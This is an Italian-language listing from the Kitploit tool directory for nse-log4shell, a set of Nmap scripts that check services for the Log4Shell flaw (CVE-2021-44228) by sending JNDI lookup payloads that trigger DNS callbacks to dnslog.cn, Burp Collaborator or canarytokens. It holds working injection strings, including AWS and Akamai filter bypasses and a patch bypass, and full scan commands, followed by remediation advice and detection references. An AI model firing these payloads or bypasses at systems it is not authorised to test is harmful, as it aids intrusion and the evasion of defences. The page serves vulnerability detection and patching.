Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
nse-log4shell — Script Nmap NSE per verificare le vulnerabilità log4shell o LogJam (CVE-2021-44228) | Kitploit
Strumenti/GitHubGitHub/diverto/nse-log4shell
Scanner di VulnerabilitàExploitSicurezza WebSicurezza di RetePenetration TestingAnalisi DNSArchived
GitHubdiverto/nse-log4shell

nse-log4shell

Script Nmap NSE per verificare le vulnerabilità log4shell o LogJam (CVE-2021-44228)

Vedi Repository
352474 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

nse-log4shell

Script NSE di Nmap per verificare le vulnerabilità log4shell o LogJam (CVE-2021-44228). Gli script NSE controllano i servizi esposti più popolari su Internet. È uno script di base dove puoi personalizzare il payload.

Esempi

Nota che gli script NSE invieranno solo le richieste ai servizi. Nmap non segnalerà gli host vulnerabili, ma dovrai controllare i log DNS per determinare la vulnerabilità. Se non specifichi manualmente il payload, gli script NSE useranno dnslog.cn di default. Ciò significa che le richieste saranno visibili a dnslog.cn.

Rapido con l'aiuto di dnslog.cn

Posizionati nella directory in cui si trovano questi script ed esegui i seguenti comandi (Nmap recupererà dnslog.cn automaticamente).

Su Linux:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Su Windows:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

Payload da considerare

nuovo bypass della patch su v2.15.0 (CVE-2021-45046), grazie a @marcioalm (tweet):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWS bypass (grazie a @11xuxx - tweet):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamai bypass (grazie a @ozgur_bbh - tweet):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

Configurazione manuale

Esempio Windows (Grazie a @ZedFuzz) - nota come fare l'escaping delle virgolette:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

Con l'aiuto di logdns (server DNS di logging personalizzato)

Vai su http://github.com/kost/logdns e ottieni il server DNS. Ottieni un dominio e puntalo da qualche parte dove hai installato logdns:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con l'aiuto di dnslog.cn

Vai su http://dnslog.cn/ e ottieni un SubDomain. Sostituisci la tua xxxx con il tuo SubDomain:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con l'aiuto di burpcollaborator

Prendi il tuo dominio da Burp Collaborator e sostituisci xxxx con il tuo dominio:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Con l'aiuto di CanaryToken (https://canarytokens.org/generate#)

Prendi il tuo Token da CanaryToken e sostituisci xxxx con il tuo dominio:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

Grazie a @saintz666

Metodo consigliato

dnslog.cn ha sessioni brevi (circa mezz'ora). Dovrebbe esserci un modo per prolungare la sessione per tutta la durata della scansione. Inoltre, a volte la query DNS avviene molto più tardi rispetto alla ricezione della richiesta. Qualcuno ha riportato di aver ricevuto la richiesta DNS ore dopo che la richiesta è stata effettuata. Come soluzione alternativa, gli script NSE di nmap recuperano la sessione dopo ogni host scansionato.

Pertanto, attualmente, per la migliore garanzia è utilizzare un dominio DNS personalizzato con uno strumento come logdns: https://github.com/kost/logdns

Esempio di output

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

Soluzione/Correzioni

Elenco delle migliori correzioni e soluzioni alternative.

Migliore correzione

Migliore soluzione per proteggersi da CVE-2021-44228: aggiornare a log4j-2.16.0 o successivo.

Nota che log4j-2.15.0-rc1 non è più consigliato poiché sono state trovate nuove vulnerabilità. Pertanto, dovresti aggiornare a log4j-2.16.0 o successivo (grazie @ruppde).

Inoltre, nota che altre raccomandazioni come log4j2.formatMsgNoLookups impostato su true dovrebbero essere evitate.

Migliore identificazione

È meglio identificare la vulnerabilità log4shell cercando artefatti log4j nel file system locale.

Questi script NSE dovrebbero essere usati solo per una garanzia aggiuntiva. Gli NSE aiutano a identificare i servizi vulnerabili, non l'applicazione vulnerabile. Possono identificare un'applicazione vulnerabile se registra ogni richiesta (inclusa la root /), non se la vulnerabilità è nascosta dietro un login. Per questo avrai bisogno di uno scanner web che esplori l'intero web.

Puoi controllare un URI specifico con il seguente esempio: http-log4shell.url=/my/application/uri

Controllerà tramite header HTTP e cookie. Se devi controllare i moduli post/get, dovresti usare http-spider-log4shell. Tuttavia, è meglio usare uno scanner web con supporto per log4j.

Inoltre, nota che la risoluzione DNS con combinazione di prefissi in un'espressione per log4j-core <= 2.7 sembra non essere supportata. Quindi, testare con qualcosa come ${java:os} potrebbe portare a falsi negativi. Pertanto, è meglio avere pochi falsi positivi che negativi.

Riferimenti

Riferimenti generali e link alla vulnerabilità

Generali

Thread Reddit - Informazioni generali su log4shell

NCC log4shell - informazioni operative riguardanti la vulnerabilità (IOC, mitigazione, scansione, software)

Correlati

BlueTeam CheatSheet Log4Shell - Advisory / Bollettini di sicurezza collegati a Log4Shell (CVE-2021-44228)

Elenco Software - guida di riferimento cheat-sheet - Elenco dei software interessati in base alle risposte dei vendor

Test

Nota che i controlli remoti e online sono utili come garanzia aggiuntiva o test rapido. Per una garanzia aggiuntiva, si consiglia di scansionare localmente i file alla ricerca di firme log4j note.

lo4shell.huntress.com - Tester online della vulnerabilità Log4Shell

log4j yara - regole yara per il rilevamento locale

identify-log4j-class-location.sh - Script per identificare la classe Log4J interessata per CVE-2021-44228 in una raccolta di file ear/war/jar

Sfruttamento

PoC-log4j-bypass-words - Un trucco per aggirare le patch che bloccano le parole

Rilevamento dello sfruttamento

log4shell-detector - Rivelatore di tentativi di sfruttamento di Log4Shell

Log4Shell-IOCs - un elenco di feed IOC e report sulle minacce

log4j_rce_detection.md - Puoi usare questi comandi e regole per cercare tentativi di sfruttamento

Mitigazione/Correzione

Advisory log4j - Vulnerabilità di sicurezza di Apache Log4j

Pull request e commenti log4j - pull request che corregge il bug relativo ai commenti

Logout4Shell - Alternativa rapida e sporca al patching manuale

Scarica lo strumento